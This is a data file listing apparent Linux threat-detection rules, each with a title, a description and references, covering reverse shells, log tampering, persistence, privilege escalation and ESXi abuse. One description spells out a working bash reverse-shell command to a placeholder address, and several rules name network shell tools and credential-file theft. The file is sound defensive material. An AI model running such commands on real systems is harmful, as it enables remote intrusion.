Screen Capture with Xwd	Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture, https://linux.die.net/man/1/xwd
Split A File Into Pieces - Linux	Detection use of the command "split" to split files into parts and possible transfer.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md
Steganography Hide Files with Steghide	Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.	https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/
Steganography Extract Files with Steghide	Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.	https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/
Suspicious C2 Activities	Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)	https://github.com/Neo23x0/auditd
Suspicious Commands Linux	Detects relevant commands often related to malware or hacking activity	Internal Research - mostly derived from exploit code including code in MSF
Program Executions in Suspicious Folders	Detects program executions in suspicious non-program folders related to malware or hacking activity	Internal Research
Suspicious History File Operations - Linux	Detects commandline operations on shell history files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
Systemd Service Creation	Detects a creation of systemd services which could be used by adversaries to execute malicious code.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md
System Information Discovery - Auditd	Detects System Information Discovery commands	https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md
System and Hardware Information Discovery	Detects system information discovery commands	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware
System Shutdown/Reboot - Linux	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
Unix Shell Configuration Modification	Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.	https://objective-see.org/blog/blog_0x68.html, https://web.archive.org/web/20221204161143/https://www.glitch-cat.com/p/green-lambert-and-attack, https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
Steganography Unzip Hidden Information From Picture File	Detects extracting of zip file from image file	https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
System Owner or User Discovery - Linux	Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md
Webshell Remote Command Execution	Detects possible command execution by web application/web shell	Personal Experience of the Author
Equation Group Indicators	Detects suspicious shell commands used in various Equation Group scripts and tools	https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1
Buffer Overflow Attempts	Detects buffer overflow attempts in Unix system log files	https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml
Commands to Clear or Remove the Syslog - Builtin	Detects specific commands commonly used to remove or empty the syslog	https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474
Remote File Copy	Detects the use of tools that copy files from or to remote systems	https://attack.mitre.org/techniques/T1105/
Code Injection by ld.so Preload	Detects the ld.so preload persistence file. See `man ld.so` for more information.	https://man7.org/linux/man-pages/man8/ld.so.8.html
Nimbuspwn Exploitation	Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)	https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/, https://github.com/Immersive-Labs-Sec/nimbuspwn
Potential Suspicious BPF Activity - Linux	Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.	https://redcanary.com/blog/ebpf-malware/, https://man7.org/linux/man-pages/man7/bpf-helpers.7.html
Shellshock Expression	Detects shellshock expressions in log files	https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
Privileged User Has Been Created	Detects the addition of a new user to a privileged group such as "root" or "sudo"	https://digital.nhs.uk/cyber-alerts/2018/cc-2825, https://linux.die.net/man/8/useradd, https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid
Linux Command History Tampering	Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md, https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics, https://www.cadosecurity.com/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence/
Suspicious Activity in Shell Commands	Detects suspicious shell commands used in various exploit codes (see references)	https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html, https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb, http://pastebin.com/FtygZ1cg, https://artkond.com/2017/03/23/pivoting-guide/
Suspicious Log Entries	Detects suspicious log entries in Linux log files	https://github.com/ossec/ossec-hids/blob/master/etc/rules/syslog_rules.xml
Suspicious Reverse Shell Command Line	Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell	https://alamot.github.io/reverse_shells/
Space After Filename	Detects space after filename	https://attack.mitre.org/techniques/T1064
Suspicious Use of /dev/tcp	Detects suspicious command with /dev/tcp	https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/, https://book.hacktricks.xyz/shells/shells/linux, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan
JexBoss Command Sequence	Detects suspicious command sequence that JexBoss	https://www.us-cert.gov/ncas/analysis-reports/AR18-312A
Symlink Etc Passwd	Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd	https://www.qualys.com/2021/05/04/21nails/21nails.txt
PwnKit Local Privilege Escalation	Detects potential PwnKit exploitation CVE-2021-4034 in auth logs	https://twitter.com/wdormann/status/1486161836961579020
Relevant ClamAV Message	Detects relevant ClamAV messages	https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml
Modifying Crontab	Detects suspicious modification of crontab file.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
Guacamole Two Users Sharing Session Anomaly	Detects suspicious session with two users present	https://research.checkpoint.com/2020/apache-guacamole-rce/
SSHD Error Message CVE-2018-15473	Detects exploitation attempt using public exploit code for CVE-2018-15473	https://github.com/Rhynorater/CVE-2018-15473-Exploit
Suspicious OpenSSH Daemon Error	Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts	https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c, https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml
Sudo Privilege Escalation CVE-2019-14287 - Builtin	Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287	https://www.openwall.com/lists/oss-security/2019/10/14/1, https://access.redhat.com/security/cve/cve-2019-14287, https://twitter.com/matthieugarin/status/1183970598210412546
Disabling Security Tools - Builtin	Detects disabling security tools	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md
Persistence Via Sudoers Files	Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user.	https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh
Suspicious Named Error	Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts	https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml
Suspicious VSFTPD Error Messages	Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts	https://github.com/dagwieers/vsftpd/
Potentially Suspicious Shell Script Creation in Profile Folder	Detects the creation of shell scripts under the "profile.d" path.	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Triple Cross eBPF Rootkit Default LockFile	Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.	https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33
Persistence Via Cron Files	Detects creation of cron file or files in Cron directories which could indicates potential persistence.	https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml
Linux Reverse Shell Indicator	Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')	https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Wget Creating Files in Tmp Directory	Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Triple Cross eBPF Rootkit Default Persistence	Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method	https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh
Linux Doas Conf File Creation	Detects the creation of doas.conf file in linux host platform.	https://research.splunk.com/endpoint/linux_doas_conf_file_creation/, https://www.makeuseof.com/how-to-install-and-use-doas/
Communication To Ngrok Tunneling Service - Linux	Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors	https://twitter.com/hakluke/status/1587733971814977537/photo/1, https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
Communication To LocaltoNet Tunneling Service Initiated - Linux	Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.	https://localtonet.com/documents/supported-tunnels, https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
Linux Crypto Mining Pool Connections	Detects process connections to a Monero crypto mining pool	https://www.poolwatch.io/coin/monero
Potentially Suspicious Malware Callback Communication - Linux	Detects programs that connect to known malware callback ports based on threat intelligence reports.	https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections, https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team, https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html, https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html, https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
Shell Invocation via Apt - Linux	Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/apt/, https://gtfobins.github.io/gtfobins/apt-get/
Scheduled Task/Job At	Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md
Suspicious Invocation of Shell via AWK - Linux	Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.	https://gtfobins.github.io/gtfobins/awk/#shell, https://gtfobins.github.io/gtfobins/gawk/#shell, https://gtfobins.github.io/gtfobins/nawk/#shell, https://gtfobins.github.io/gtfobins/mawk/#shell
Decode Base64 Encoded Text	Detects usage of base64 utility to decode arbitrary base64-encoded text	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md
Linux Base64 Encoded Pipe to Shell	Detects suspicious process command line that uses base64 encoded input for execution with a shell	https://github.com/arget13/DDexec, https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
Bash Interactive Shell	Detects execution of the bash shell with the interactive flag "-i".	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/, https://linux.die.net/man/1/bash
BPFtrace Unsafe Option Usage	Detects the usage of the unsafe bpftrace option	https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/, https://bpftrace.org/
Enable BPF Kprobes Tracing	Detects common command used to enable bpf kprobes tracing	https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/, https://bpftrace.org/, https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html
Capabilities Discovery - Linux	Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.	https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes, https://github.com/carlospolop/PEASS-ng, https://github.com/diego-treitos/linux-smart-enumeration
Capsh Shell Invocation - Linux	Detects the use of the "capsh" utility to invoke a shell.	https://gtfobins.github.io/gtfobins/capsh/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Remove Immutable File Attribute	Detects usage of the 'chattr' utility to remove immutable file attribute.	https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
Linux Base64 Encoded Shebang In CLI	Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded	https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html, https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
Clipboard Collection with Xclip Tool	Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.	https://www.packetlabs.net/posts/clipboard-data-security/
Clear Linux Logs	Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
Cat Sudoers	Detects the execution of a cat /etc/sudoers to list all users that have sudo rights	https://github.com/sleventyeleven/linuxprivchecker/
Commands to Clear or Remove the Syslog	Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
Crontab Enumeration	Detects usage of crontab to list the tasks of the user	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Copy Passwd Or Shadow From TMP Path	Detects when the file "passwd" or "shadow" is copied from tmp path	https://blogs.blackberry.com/, https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
Remove Scheduled Cron Task/Job	Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible	https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
Linux Crypto Mining Indicators	Detects command line parameters or strings often used by crypto miners	https://www.poolwatch.io/coin/monero
Curl Usage on Linux	Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server	https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
Atlassian Confluence CVE-2022-26134	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134	https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
Apache Spark Shell Command Injection - ProcessCreation	Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective	https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py, https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html, https://github.com/apache/spark/pull/36315/files
DD File Overwrite	Detects potential overwriting and deletion of a file using DD.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd
Potential Linux Process Code Injection Via DD Utility	Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.	https://www.aon.com/cyber-solutions/aon_cyber_labs/linux-based-inter-process-code-injection-without-ptrace2/, https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh
Ufw Force Stop Using Ufw-Init	Detects attempts to force stop the ufw using ufw-init	https://blogs.blackberry.com/, https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
Linux Doas Tool Execution	Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.	https://research.splunk.com/endpoint/linux_doas_tool_execution/, https://www.makeuseof.com/how-to-install-and-use-doas/
Shell Invocation via Env Command - Linux	Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.	https://gtfobins.github.io/gtfobins/env/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
ESXi Network Configuration Discovery Via ESXCLI	Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.	https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_network.html
ESXi Admin Permission Assigned To Account Via ESXCLI	Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.	https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
ESXi Storage Information Discovery Via ESXCLI	Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.	https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html, https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_storage.html
ESXi Syslog Configuration Change Via ESXCLI	Detects changes to the ESXi syslog configuration via "esxcli"	https://support.solarwinds.com/SuccessCenter/s/article/Configure-ESXi-Syslog-to-LEM?language=en_US, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
ESXi System Information Discovery Via ESXCLI	Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.	https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
ESXi Account Creation Via ESXCLI	Detects user account creation on ESXi system via esxcli	https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
ESXi VM List Discovery Via ESXCLI	Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.	https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html, https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/, https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html
ESXi VM Kill Via ESXCLI	Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.	https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html, https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/, https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html
ESXi VSAN Information Discovery Via ESXCLI	Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.	https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html, https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html, https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vsan.html
File and Directory Discovery - Linux	Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
File Deletion	Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md
Shell Execution via Find - Linux	Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.	https://gtfobins.github.io/gtfobins/find/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Shell Execution via Flock - Linux	Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/flock/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Shell Execution GCC - Linux	Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/gcc/#shell, https://gtfobins.github.io/gtfobins/c89/#shell, https://gtfobins.github.io/gtfobins/c99/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Shell Execution via Git - Linux	Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/git/#shell
OS Architecture Discovery Via Grep	Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Group Has Been Deleted Via Groupdel	Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks	https://linuxize.com/post/how-to-delete-group-in-linux/, https://www.cyberciti.biz/faq/linux-remove-user-command/, https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/, https://linux.die.net/man/8/groupdel
Install Root Certificate	Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
Suspicious Package Installed - Linux	Detects installation of suspicious packages using system installation utilities	https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
Flush Iptables Ufw Chain	Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic	https://blogs.blackberry.com/, https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html, https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
Local System Accounts Discovery - Linux	Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md, https://my.f5.com/manage/s/article/K589, https://man.freebsd.org/cgi/man.cgi?pwd_mkdb
Local Groups Discovery - Linux	Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
Potential GobRAT File Discovery Via Grep	Detects the use of grep to discover specific files created by the GobRAT malware	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
Named Pipe Created Via Mkfifo	Detects the creation of a new named pipe using the "mkfifo" utility	https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk, https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
Potentially Suspicious Named Pipe Created Via Mkfifo	Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location	https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk, https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
Mount Execution With Hidepid Parameter	Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system	https://blogs.blackberry.com/, https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/, https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
Potential Netcat Reverse Shell Execution	Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/, https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/, https://www.infosecademy.com/netcat-reverse-shells/, https://man7.org/linux/man-pages/man1/ncat.1.html
Shell Execution via Nice - Linux	Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.	https://gtfobins.github.io/gtfobins/nice/#shell, https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
Nohup Execution	Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments	https://gtfobins.github.io/gtfobins/nohup/, https://en.wikipedia.org/wiki/Nohup, https://www.computerhope.com/unix/unohup.htm
Suspicious Nohup Execution	Detects execution of binaries located in potentially suspicious locations via "nohup"	https://blogs.jpcert.or.jp/en/2023/05/gobrat.html, https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/, https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection, https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
